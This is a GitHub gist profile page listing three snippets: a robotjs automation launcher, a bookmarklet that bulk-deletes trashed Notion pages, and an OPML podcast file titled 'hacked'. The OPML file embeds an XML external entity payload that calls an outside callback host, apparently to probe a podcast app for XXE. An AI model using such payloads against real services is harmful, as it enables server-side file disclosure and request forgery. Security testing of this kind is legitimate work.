Skip to content

Instantly share code, notes, and snippets.

View tequreq's full-sized avatar
🏠
Working from home

teq u req tequreq

🏠
Working from home
View GitHub Profile
#!/bin/bash
forever --minUptime 540000 --spinSleepTime 540000 run.js
var robot = require("robotjs");
// Speed up the mouse.
robot.setMouseDelay(2);
has_screenshot:true encrypted attention
@tequreq
tequreq / permanently_delete_all.js
Created September 12, 2020 12:11 — forked from pocc/permanently_delete_all.js
Bookmarklet to permanently delete all notion pages that have already been deleted.
javascript:(function(){
// Author: Ross Jacobs
// Purpose: Use as a browser bookmarklet to bulk delete notion pages in trash
// License: Apache 2.0
async function getSpaceId() {
resp = await fetch("https://www.notion.so/api/v3/loadUserContent", {"credentials":"include","headers":{"accept":"*/*","cache-control":"no-cache","content-type":"application/json","pragma":"no-cache","sec-fetch-mode":"cors","sec-fetch-site":"same-origin"},"referrerPolicy":"same-origin","body":"{}","method":"POST","mode":"cors"});
json = await resp.json();
spaceId = Object.keys(json.recordMap.space)[0];
return spaceId;
}
@tequreq
tequreq / ok.opml
Last active August 13, 2020 13:17
hacked
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE description [ <!ELEMENT description ANY >
<!ENTITY xxe SYSTEM "http://hackedX.64a7e5fa6a9be60f8b4f.d.zhack.ca/test.txt" >]>
<opml version="1.0">
<head>
<title>Overcast Podcast Subscriptions</title>
</head>
<body>
<outline type="rss" text="&xxe;" title="&xxe;" xmlUrl="http://feeds.feedburner.com/RichardHerringLSTPodcast" htmlUrl="https://www.comedy.co.uk/podcasts/richard_herring_lst_podcast/"/>
<outline type="rss" text="5by5 at the Movies" title="5by5 at the Movies" xmlUrl="http://feeds.5by5.tv/movies" htmlUrl="http://5by5.tv/movies"/>